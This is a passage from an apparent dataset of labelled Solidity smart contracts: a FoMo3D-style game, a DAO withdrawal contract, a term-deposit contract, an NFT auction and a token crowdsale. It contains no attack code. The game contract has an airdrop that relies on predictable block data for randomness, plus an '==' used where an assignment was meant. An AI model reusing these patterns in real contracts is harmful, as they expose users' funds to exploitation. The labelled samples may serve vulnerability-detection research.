(round_[_rID].team + (round_[_rID].plyr * 10)),
plyr_[round_[_rID].plyr].addr,
plyr_[round_[_rID].plyr].name,
rndTmEth_[_rID][0],
rndTmEth_[_rID][1],
rndTmEth_[_rID][2],
rndTmEth_[_rID][3],
airDropTracker_ + (airDropPot_ * 1000)
);
}
function getPlayerInfoByAddress(address _addr)
public
view
returns(uint256, bytes32, uint256, uint256, uint256, uint256, uint256)
{
uint256 _rID = rID_;
if (_addr == address(0))
{
_addr == msg.sender;
}
uint256 _pID = pIDxAddr_[_addr];
return
(
_pID,
plyr_[_pID].name,
plyrRnds_[_pID][_rID].keys,
plyr_[_pID].win,
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)),
plyr_[_pID].aff,
plyrRnds_[_pID][_rID].eth
);
}
function buyCore(uint256 _pID, uint256 _affID, uint256 _team, HXdatasets.EventReturns memory _eventData_)
private
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
{
core(_rID, _pID, msg.value, _affID, _team, _eventData_);
} else {
if (_now > round_[_rID].end && round_[_rID].ended == false)
{
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit HXevents.onBuyAndDistribute
(
msg.sender,
plyr_[_pID].name,
msg.value,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
}
plyr_[_pID].gen = plyr_[_pID].gen.add(msg.value);
}
}
function reLoadCore(uint256 _pID, uint256 _affID, uint256 _team, uint256 _eth, HXdatasets.EventReturns memory _eventData_)
private
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
{
plyr_[_pID].gen = withdrawEarnings(_pID).sub(_eth);
core(_rID, _pID, _eth, _affID, _team, _eventData_);
} else if (_now > round_[_rID].end && round_[_rID].ended == false) {
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit HXevents.onReLoadAndDistribute
(
msg.sender,
plyr_[_pID].name,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
}
}
function core(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, HXdatasets.EventReturns memory _eventData_)
private
{
if (plyrRnds_[_pID][_rID].keys == 0)
_eventData_ = managePlayer(_pID, _eventData_);
if (_eth > 1000000000)
{
uint256 _keys = (round_[_rID].eth).keysRec(_eth);
if (_keys >= 1000000000000000000)
{
updateTimer(_keys, _rID);
if (round_[_rID].plyr != _pID)
round_[_rID].plyr = _pID;
if (round_[_rID].team != _team)
round_[_rID].team = _team;
_eventData_.compressedData = _eventData_.compressedData + 100;
}
if (_eth >= 100000000000000000)
{
airDropTracker_++;
if (airdrop() == true)
{
uint256 _prize;
if (_eth >= 10000000000000000000)
{
_prize = ((airDropPot_).mul(75)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 300000000000000000000000000000000;
} else if (_eth >= 1000000000000000000 && _eth < 10000000000000000000) {
_prize = ((airDropPot_).mul(50)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 200000000000000000000000000000000;
} else if (_eth >= 100000000000000000 && _eth < 1000000000000000000) {
_prize = ((airDropPot_).mul(25)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 300000000000000000000000000000000;
}
_eventData_.compressedData += 10000000000000000000000000000000;
_eventData_.compressedData += _prize * 1000000000000000000000000000000000;
airDropTracker_ = 0;
}
}
_eventData_.compressedData = _eventData_.compressedData + (airDropTracker_ * 1000);
plyrRnds_[_pID][_rID].keys = _keys.add(plyrRnds_[_pID][_rID].keys);
plyrRnds_[_pID][_rID].eth = _eth.add(plyrRnds_[_pID][_rID].eth);
round_[_rID].keys = _keys.add(round_[_rID].keys);
round_[_rID].eth = _eth.add(round_[_rID].eth);
rndTmEth_[_rID][_team] = _eth.add(rndTmEth_[_rID][_team]);
_eventData_ = distributeExternal(_rID, _pID, _eth, _affID, _team, _eventData_);
_eventData_ = distributeInternal(_rID, _pID, _eth, _team, _keys, _eventData_);
endTx(_pID, _team, _eth, _keys, _eventData_);
}
}
function calcUnMaskedEarnings(uint256 _pID, uint256 _rIDlast)
private
view
returns(uint256)
{
return( (((round_[_rIDlast].mask).mul(plyrRnds_[_pID][_rIDlast].keys)) / (1000000000000000000)).sub(plyrRnds_[_pID][_rIDlast].mask) );
}
function calcKeysReceived(uint256 _rID, uint256 _eth)
public
view
returns(uint256)
{
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].eth).keysRec(_eth) );
else
return ( (_eth).keys() );
}
function iWantXKeys(uint256 _keys)
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].keys.add(_keys)).ethRec(_keys) );
else
return ( (_keys).eth() );
}
function receivePlayerInfo(uint256 _pID, address _addr, bytes32 _name, uint256 _laff)
external
{
require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm..");
if (pIDxAddr_[_addr] != _pID)
pIDxAddr_[_addr] = _pID;
if (pIDxName_[_name] != _pID)
pIDxName_[_name] = _pID;
if (plyr_[_pID].addr != _addr)
plyr_[_pID].addr = _addr;
if (plyr_[_pID].name != _name)
plyr_[_pID].name = _name;
if (plyr_[_pID].laff != _laff)
plyr_[_pID].laff = _laff;
if (plyrNames_[_pID][_name] == false)
plyrNames_[_pID][_name] = true;
}
function receivePlayerNameList(uint256 _pID, bytes32 _name)
external
{
require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm..");
if(plyrNames_[_pID][_name] == false)
plyrNames_[_pID][_name] = true;
}
function determinePID(HXdatasets.EventReturns memory _eventData_)
private
returns (HXdatasets.EventReturns)
{
uint256 _pID = pIDxAddr_[msg.sender];
if (_pID == 0)
{
_pID = PlayerBook.getPlayerID(msg.sender);
bytes32 _name = PlayerBook.getPlayerName(_pID);
uint256 _laff = PlayerBook.getPlayerLAff(_pID);
pIDxAddr_[msg.sender] = _pID;
plyr_[_pID].addr = msg.sender;
if (_name != "")
{
pIDxName_[_name] = _pID;
plyr_[_pID].name = _name;
plyrNames_[_pID][_name] = true;
}
if (_laff != 0 && _laff != _pID)
plyr_[_pID].laff = _laff;
_eventData_.compressedData = _eventData_.compressedData + 1;
}
return (_eventData_);
}
function verifyTeam(uint256 _team)
private
pure
returns (uint256)
{
if (_team < 0 || _team > 3)
return(2);
else
return(_team);
}
function managePlayer(uint256 _pID, HXdatasets.EventReturns memory _eventData_)
private
returns (HXdatasets.EventReturns)
{
if (plyr_[_pID].lrnd != 0)
updateGenVault(_pID, plyr_[_pID].lrnd);
plyr_[_pID].lrnd = rID_;
_eventData_.compressedData = _eventData_.compressedData + 10;
return(_eventData_);
}
function endRound(HXdatasets.EventReturns memory _eventData_)
private
returns (HXdatasets.EventReturns)
{
uint256 _rID = rID_;
uint256 _winPID = round_[_rID].plyr;
uint256 _winTID = round_[_rID].team;
uint256 _pot = round_[_rID].pot;
uint256 _win = (_pot.mul(48)) / 100;
uint256 _com = (_pot.mul(2) / 100);
uint256 _gen = (_pot.mul(potSplit_[_winTID].gen)) / 100;
uint256 _p3d = (_pot.mul(potSplit_[_winTID].p3d)) / 100;
uint256 _res = (((_pot.sub(_win)).sub(_com)).sub(_gen)).sub(_p3d);
uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys);
uint256 _dust = _gen.sub((_ppt.mul(round_[_rID].keys)) / 1000000000000000000);
if (_dust > 0)
{
_gen = _gen.sub(_dust);
_res = _res.add(_dust);
}
plyr_[_winPID].win = _win.add(plyr_[_winPID].win);
community_addr.transfer(_com);
round_[_rID].mask = _ppt.add(round_[_rID].mask);
if (_p3d > 0)
token_community_addr.transfer(_p3d);
_eventData_.compressedData = _eventData_.compressedData + (round_[_rID].end * 1000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + (_winPID * 100000000000000000000000000) + (_winTID * 100000000000000000);
_eventData_.winnerAddr = plyr_[_winPID].addr;
_eventData_.winnerName = plyr_[_winPID].name;
_eventData_.amountWon = _win;
_eventData_.genAmount = _gen;
_eventData_.P3DAmount = _p3d;
_eventData_.newPot = _res;
rID_++;
_rID++;
round_[_rID].strt = now;
round_[_rID].end = now.add(rndInit_).add(rndGap_);
round_[_rID].pot = _res;
return(_eventData_);
}
function updateGenVault(uint256 _pID, uint256 _rIDlast)
private
{
uint256 _earnings = calcUnMaskedEarnings(_pID, _rIDlast);
if (_earnings > 0)
{
plyr_[_pID].gen = _earnings.add(plyr_[_pID].gen);
plyrRnds_[_pID][_rIDlast].mask = _earnings.add(plyrRnds_[_pID][_rIDlast].mask);
}
}
function updateTimer(uint256 _keys, uint256 _rID)
private
{
uint256 _now = now;
uint256 _newTime;
if (_now > round_[_rID].end && round_[_rID].plyr == 0)
_newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(_now);
else
_newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(round_[_rID].end);
if (_newTime < (rndMax_).add(_now))
round_[_rID].end = _newTime;
else
round_[_rID].end = rndMax_.add(_now);
}
function airdrop()
private
view
returns(bool)
{
uint256 seed = uint256(keccak256(abi.encodePacked(
(block.timestamp).add
(block.difficulty).add
((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add
(block.gaslimit).add
((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add
(block.number)
)));
if((seed - ((seed / 1000) * 1000)) < airDropTracker_)
return(true);
else
return(false);
}
function distributeExternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, HXdatasets.EventReturns memory _eventData_)
private
returns(HXdatasets.EventReturns)
{
uint256 _com = _eth / 50;
uint256 _p3d;
_p3d = _p3d.add((_eth.mul(fees_[_team].p3d)) / (100));
if (_p3d > 0)
{
token_community_addr.transfer(_p3d);
_eventData_.P3DAmount = _p3d.add(_eventData_.P3DAmount);
}
uint256 _aff = _eth / 10;
if (_affID != _pID && plyr_[_affID].name != '') {
plyr_[_affID].aff = _aff.add(plyr_[_affID].aff);
emit HXevents.onAffiliatePayout(_affID, plyr_[_affID].addr, plyr_[_affID].name, _rID, _pID, _aff, now);
} else {
_com = _com.add(_aff);
}
community_addr.transfer(_com);
return(_eventData_);
}
function distributeInternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _team, uint256 _keys, HXdatasets.EventReturns memory _eventData_)
private
returns(HXdatasets.EventReturns)
{
uint256 _gen = (_eth.mul(fees_[_team].gen)) / 100;
uint256 _air = (_eth / 50);
airDropPot_ = airDropPot_.add(_air);
_eth = _eth.sub(((_eth.mul(24)) / 100));
uint256 _pot = _eth.sub(_gen);
uint256 _dust = updateMasks(_rID, _pID, _gen, _keys);
if (_dust > 0)
_gen = _gen.sub(_dust);
round_[_rID].pot = _pot.add(_dust).add(round_[_rID].pot);
_eventData_.genAmount = _gen.add(_eventData_.genAmount);
_eventData_.potAmount = _pot;
return(_eventData_);
}
function updateMasks(uint256 _rID, uint256 _pID, uint256 _gen, uint256 _keys)
private
returns(uint256)
{
uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys);
round_[_rID].mask = _ppt.add(round_[_rID].mask);
uint256 _pearn = (_ppt.mul(_keys)) / (1000000000000000000);
plyrRnds_[_pID][_rID].mask = (((round_[_rID].mask.mul(_keys)) / (1000000000000000000)).sub(_pearn)).add(plyrRnds_[_pID][_rID].mask);
return(_gen.sub((_ppt.mul(round_[_rID].keys)) / (1000000000000000000)));
}
function withdrawEarnings(uint256 _pID)
private
returns(uint256)
{
updateGenVault(_pID, plyr_[_pID].lrnd);
uint256 _earnings = (plyr_[_pID].win).add(plyr_[_pID].gen).add(plyr_[_pID].aff);
if (_earnings > 0)
{
plyr_[_pID].win = 0;
plyr_[_pID].gen = 0;
plyr_[_pID].aff = 0;
}
return(_earnings);
}
function endTx(uint256 _pID, uint256 _team, uint256 _eth, uint256 _keys, HXdatasets.EventReturns memory _eventData_)
private
{
_eventData_.compressedData = _eventData_.compressedData + (now * 1000000000000000000) + (_team * 100000000000000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID + (rID_ * 10000000000000000000000000000000000000000000000000000);
emit HXevents.onEndTx
(
_eventData_.compressedData,
_eventData_.compressedIDs,
plyr_[_pID].name,
msg.sender,
_eth,
_keys,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount,
_eventData_.potAmount,
airDropPot_
);
}
bool public activated_ = false;
function activate()
public
{
require(
msg.sender == developer_addr, "only community can activate"
);
require(activated_ == false, "shuoha already activated");
activated_ = true;
rID_ = 1;
round_[1].strt = now + rndExtra_ - rndGap_;
round_[1].end = now + rndInit_ + rndExtra_;
}
}
library HXdatasets {
struct EventReturns {
uint256 compressedData;
uint256 compressedIDs;
address winnerAddr;
bytes32 winnerName;
uint256 amountWon;
uint256 newPot;
uint256 P3DAmount;
uint256 genAmount;
uint256 potAmount;
}
struct Player {
address addr;
bytes32 name;
uint256 win;
uint256 gen;
uint256 aff;
uint256 lrnd;
uint256 laff;
}
struct PlayerRounds {
uint256 eth;
uint256 keys;
uint256 mask;
uint256 ico;
}
struct Round {
uint256 plyr;
uint256 team;
uint256 end;
bool ended;
uint256 strt;
uint256 keys;
uint256 eth;
uint256 pot;
uint256 mask;
uint256 ico;
uint256 icoGen;
uint256 icoAvg;
}
struct TeamFee {
uint256 gen;
uint256 p3d;
}
struct PotSplit {
uint256 gen;
uint256 p3d;
}
}
library HXKeysCalcLong {
using SafeMath for *;
function keysRec(uint256 _curEth, uint256 _newEth)
internal
pure
returns (uint256)
{
return(keys((_curEth).add(_newEth)).sub(keys(_curEth)));
}
function ethRec(uint256 _curKeys, uint256 _sellKeys)
internal
pure
returns (uint256)
{
return((eth(_curKeys)).sub(eth(_curKeys.sub(_sellKeys))));
}
function keys(uint256 _eth)
internal
pure
returns(uint256)
{
return ((((((_eth).mul(1000000000000000000)).mul(156250000000000000000000000)).add(1406247070314025878906250000000000000000000000000000000000000000)).sqrt()).sub(37499960937500000000000000000000)) / (78125000);
}
function eth(uint256 _keys)
internal
pure
returns(uint256)
{
return ((39062500).mul(_keys.sq()).add(((74999921875000).mul(_keys.mul(1000000000000000000))) / (2))) / ((1000000000000000000).sq());
}
}
interface PlayerBookInterface {
function getPlayerID(address _addr) external returns (uint256);
function getPlayerName(uint256 _pID) external view returns (bytes32);
function getPlayerLAff(uint256 _pID) external view returns (uint256);
function getPlayerAddr(uint256 _pID) external view returns (address);
function getNameFee() external view returns (uint256);
function registerNameXIDFromDapp(address _addr, bytes32 _name, uint256 _affCode, bool _all) external payable returns(bool, uint256);
function registerNameXaddrFromDapp(address _addr, bytes32 _name, address _affCode, bool _all) external payable returns(bool, uint256);
function registerNameXnameFromDapp(address _addr, bytes32 _name, bytes32 _affCode, bool _all) external payable returns(bool, uint256);
}
library NameFilter {
function nameFilter(string _input)
internal
pure
returns(bytes32)
{
bytes memory _temp = bytes(_input);
uint256 _length = _temp.length;
require (_length <= 32 && _length > 0, "string must be between 1 and 32 characters");
require(_temp[0] != 0x20 && _temp[_length-1] != 0x20, "string cannot start or end with space");
if (_temp[0] == 0x30)
{
require(_temp[1] != 0x78, "string cannot start with 0x");
require(_temp[1] != 0x58, "string cannot start with 0X");
}
bool _hasNonNumber;
for (uint256 i = 0; i < _length; i++)
{
if (_temp[i] > 0x40 && _temp[i] < 0x5b)
{
_temp[i] = byte(uint(_temp[i]) + 32);
if (_hasNonNumber == false)
_hasNonNumber = true;
} else {
require
(
_temp[i] == 0x20 ||
(_temp[i] > 0x60 && _temp[i] < 0x7b) ||
(_temp[i] > 0x2f && _temp[i] < 0x3a),
"string contains invalid characters"
);
if (_temp[i] == 0x20)
require( _temp[i+1] != 0x20, "string cannot contain consecutive spaces");
if (_hasNonNumber == false && (_temp[i] < 0x30 || _temp[i] > 0x39))
_hasNonNumber = true;
}
}
require(_hasNonNumber == true, "string cannot be only numbers");
bytes32 _ret;
assembly {
_ret := mload(add(_temp, 32))
}
return (_ret);
}
}
library SafeMath {
function mul(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
if (a == 0) {
return 0;
}
c = a * b;
require(c / a == b, "SafeMath mul failed");
return c;
}
function sub(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
require(b <= a, "SafeMath sub failed");
return a - b;
}
function add(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
c = a + b;
require(c >= a, "SafeMath add failed");
return c;
}
function sqrt(uint256 x)
internal
pure
returns (uint256 y)
{
uint256 z = ((add(x,1)) / 2);
y = x;
while (z < y)
{
y = z;
z = ((add((x / z),z)) / 2);
}
}
function sq(uint256 x)
internal
pure
returns (uint256)
{
return (mul(x,x));
}
function pwr(uint256 x, uint256 y)
internal
pure
returns (uint256)
{
if (x==0)
return (0);
else if (y==0)
return (1);
else
{
uint256 z = x;
for (uint256 i=1; i < y; i++)
z = mul(z,x);
return (z);
}
}
} | 0 | 1,070 |
contract DAO {
function balanceOf(address addr) returns (uint);
function transferFrom(address from, address to, uint balance) returns (bool);
uint public totalSupply;
}
contract WithdrawDAO {
DAO constant public mainDAO = DAO(0xd9aef3a1e38a39c16b31d1ace71bca8ef58d315b);
address constant public trustee = 0xda4a4626d3e16e094de3225a751aab7128e96526;
function withdraw(){
uint balance = mainDAO.balanceOf(msg.sender);
if (!mainDAO.transferFrom(msg.sender, this, balance) || !msg.sender.send(balance))
throw;
}
function trusteeWithdraw() {
trustee.send((this.balance + mainDAO.balanceOf(this)) - mainDAO.totalSupply());
}
} | 1 | 4,234 |
pragma solidity ^0.4.11;
contract EthTermDeposits{
mapping(address => uint) public deposits;
mapping(address => uint) public depositEndTime;
function EthTermDeposits(){
}
function Deposit(uint8 numberOfWeeks) payable returns(bool){
address owner = msg.sender;
uint amount = msg.value;
uint _time = block.timestamp + numberOfWeeks * 1 weeks;
if(deposits[owner] > 0){
_time = depositEndTime[owner] + numberOfWeeks * 1 weeks;
}
depositEndTime[owner] = _time;
deposits[owner] += amount;
return true;
}
function Withdraw() returns(bool){
address owner = msg.sender;
if(depositEndTime[owner] > 0 &&
block.timestamp > depositEndTime[owner] &&
deposits[owner] > 0){
uint amount = deposits[owner];
deposits[owner] = 0;
msg.sender.transfer(amount);
return true;
}else{
return false;
}
}
function () {
revert();
}
} | 0 | 1,283 |
pragma solidity ^0.4.19;
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
Unpause();
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract ERC827 is ERC20 {
function approve( address _spender, uint256 _value, bytes _data ) public returns (bool);
function transfer( address _to, uint256 _value, bytes _data ) public returns (bool);
function transferFrom( address _from, address _to, uint256 _value, bytes _data ) public returns (bool);
}
contract ERC721 {
function totalSupply() public view returns (uint256 total);
function balanceOf(address _owner) public view returns (uint256 balance);
function ownerOf(uint256 _tokenId) public view returns (address owner);
function approve(address _to, uint256 _tokenId) public;
function transfer(address _to, uint256 _tokenId) public;
function transferFrom(address _from, address _to, uint256 _tokenId) public;
event Transfer(address from, address to, uint256 tokenId);
event Approval(address owner, address approved, uint256 tokenId);
function supportsInterface(bytes4 _interfaceID) public view returns (bool);
}
contract ClockAuctionBase {
struct Auction {
address seller;
uint128 startingPrice;
uint128 endingPrice;
uint64 duration;
uint64 startedAt;
}
ERC721 public nonFungibleContract;
ERC827 public joyTokenContract;
address public cfoAddress;
uint256 public ownerCut;
mapping (uint256 => Auction) tokenIdToAuction;
event AuctionCreated(uint256 tokenId, uint256 startingPrice, uint256 endingPrice, uint256 duration);
event AuctionSuccessful(uint256 tokenId, uint256 totalPrice, address winner);
event AuctionCancelled(uint256 tokenId);
function _owns(address _claimant, uint256 _tokenId) internal view returns (bool) {
return (nonFungibleContract.ownerOf(_tokenId) == _claimant);
}
function _escrow(address _owner, uint256 _tokenId) internal {
nonFungibleContract.transferFrom(_owner, this, _tokenId);
}
function _transfer(address _receiver, uint256 _tokenId) internal {
nonFungibleContract.transfer(_receiver, _tokenId);
}
function _addAuction(uint256 _tokenId, Auction _auction) internal {
require(_auction.duration >= 1 minutes);
tokenIdToAuction[_tokenId] = _auction;
AuctionCreated(
uint256(_tokenId),
uint256(_auction.startingPrice),
uint256(_auction.endingPrice),
uint256(_auction.duration)
);
}
function _cancelAuction(uint256 _tokenId, address _seller) internal {
_removeAuction(_tokenId);
_transfer(_seller, _tokenId);
AuctionCancelled(_tokenId);
}
function _bid(address _bidder, uint256 _tokenId, uint256 _bidAmount)
internal
returns (uint256)
{
Auction storage auction = tokenIdToAuction[_tokenId];
require(_isOnAuction(auction));
uint256 price = _currentPrice(auction);
require(_bidAmount >= price);
address seller = auction.seller;
_removeAuction(_tokenId);
if (price > 0) {
uint256 auctioneerCut = _computeCut(price);
uint256 sellerProceeds = price - auctioneerCut;
require(joyTokenContract.transferFrom(_bidder, cfoAddress, auctioneerCut));
require(joyTokenContract.transferFrom(_bidder, seller, sellerProceeds));
}
AuctionSuccessful(_tokenId, price, _bidder);
return price;
}
function _removeAuction(uint256 _tokenId) internal {
delete tokenIdToAuction[_tokenId];
}
function _isOnAuction(Auction storage _auction) internal view returns (bool) {
return (_auction.startedAt > 0);
}
function _currentPrice(Auction storage _auction)
internal
view
returns (uint256)
{
uint256 secondsPassed = 0;
if (now > _auction.startedAt) {
secondsPassed = now - _auction.startedAt;
}
return _computeCurrentPrice(
_auction.startingPrice,
_auction.endingPrice,
_auction.duration,
secondsPassed
);
}
function _computeCurrentPrice(
uint256 _startingPrice,
uint256 _endingPrice,
uint256 _duration,
uint256 _secondsPassed
)
internal
pure
returns (uint256)
{
if (_secondsPassed >= _duration) {
return _endingPrice;
} else {
int256 totalPriceChange = int256(_endingPrice) - int256(_startingPrice);
int256 currentPriceChange = totalPriceChange * int256(_secondsPassed) / int256(_duration);
int256 currentPrice = int256(_startingPrice) + currentPriceChange;
return uint256(currentPrice);
}
}
function _computeCut(uint256 _price) internal view returns (uint256) {
return _price * ownerCut / 10000;
}
}
contract ClockAuction is Pausable, ClockAuctionBase {
bytes4 constant InterfaceSignature_ERC721 = bytes4(0x9f40b779);
function ClockAuction(address _joyTokenAdress, address _nftAddress, uint256 _cut) public {
require(_cut <= 10000);
ownerCut = _cut;
ERC721 candidateContract = ERC721(_nftAddress);
require(candidateContract.supportsInterface(InterfaceSignature_ERC721));
nonFungibleContract = candidateContract;
joyTokenContract = ERC827(_joyTokenAdress);
cfoAddress = msg.sender;
}
function setOwnerCut(uint256 _cut) external onlyOwner {
require(_cut <= 10000);
ownerCut = _cut;
}
function setCFO(address _newCFO) external onlyOwner {
require(_newCFO != address(0));
cfoAddress = _newCFO;
}
modifier onlyCFO() {
require(msg.sender == cfoAddress);
_;
}
function withdrawTokens() external onlyCFO {
uint256 value = joyTokenContract.balanceOf(address(this));
joyTokenContract.transfer(cfoAddress, value);
}
function cancelAuction(uint256 _tokenId)
external
{
Auction storage auction = tokenIdToAuction[_tokenId];
require(_isOnAuction(auction));
address seller = auction.seller;
require(msg.sender == seller);
_cancelAuction(_tokenId, seller);
}
function cancelAuctionWhenPaused(uint256 _tokenId)
whenPaused
onlyOwner
external
{
Auction storage auction = tokenIdToAuction[_tokenId];
require(_isOnAuction(auction));
_cancelAuction(_tokenId, auction.seller);
}
function getAuction(uint256 _tokenId)
external
view
returns
(
address seller,
uint256 startingPrice,
uint256 endingPrice,
uint256 duration,
uint256 startedAt
) {
Auction storage auction = tokenIdToAuction[_tokenId];
require(_isOnAuction(auction));
return (
auction.seller,
auction.startingPrice,
auction.endingPrice,
auction.duration,
auction.startedAt
);
}
function getCurrentPrice(uint256 _tokenId)
external
view
returns (uint256)
{
Auction storage auction = tokenIdToAuction[_tokenId];
require(_isOnAuction(auction));
return _currentPrice(auction);
}
}
contract SaleClockAuction is ClockAuction {
bool public constant isSaleClockAuction = true;
function SaleClockAuction(address _joyTokenAdress, address _nftAddr, uint256 _cut) public
ClockAuction(_joyTokenAdress, _nftAddr, _cut) {}
function createAuction(
uint256 _tokenId,
uint256 _startingPrice,
uint256 _endingPrice,
uint256 _duration,
address _seller
)
external
whenNotPaused
{
require(_startingPrice == uint256(uint128(_startingPrice)));
require(_endingPrice == uint256(uint128(_endingPrice)));
require(_duration == uint256(uint64(_duration)));
require(msg.sender == address(nonFungibleContract));
_escrow(_seller, _tokenId);
Auction memory auction = Auction(
_seller,
uint128(_startingPrice),
uint128(_endingPrice),
uint64(_duration),
uint64(now)
);
_addAuction(_tokenId, auction);
}
function bid(address _bidder, uint256 _tokenId, uint256 _value) external whenNotPaused {
require(msg.sender == address(joyTokenContract) || msg.sender == _bidder);
_bid(_bidder, _tokenId, _value);
_transfer(_bidder, _tokenId);
}
} | 1 | 2,827 |
pragma solidity ^0.4.13;
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) constant returns (uint256);
function transfer(address to, uint256 value) returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) constant returns (uint256);
function transferFrom(address from, address to, uint256 value) returns (bool);
function approve(address spender, uint256 value) returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) returns (bool) {
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) allowed;
function transferFrom(address _from, address _to, uint256 _value) returns (bool) {
var _allowance = allowed[_from][msg.sender];
balances[_to] = balances[_to].add(_value);
balances[_from] = balances[_from].sub(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) returns (bool) {
require((_value == 0) || (allowed[msg.sender][_spender] == 0));
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
}
contract Ownable {
address public owner;
function Ownable() {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner {
require(newOwner != address(0));
owner = newOwner;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
function mint(address _to, uint256 _amount) onlyOwner canMint returns (bool) {
totalSupply = totalSupply.add(_amount);
balances[_to] = balances[_to].add(_amount);
Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() onlyOwner returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
}
contract RomanovEmpireTokenCoin is MintableToken {
string public constant name = " Romanov Empire Imperium Token";
string public constant symbol = "REI";
uint32 public constant decimals = 0;
}
contract Crowdsale is Ownable {
using SafeMath for uint;
address multisig;
address manager;
uint restrictedPercent;
address restricted;
RomanovEmpireTokenCoin public token = new RomanovEmpireTokenCoin();
uint start;
uint preIcoEnd;
uint preICOhardcap;
uint public ETHUSD;
uint public hardcapUSD;
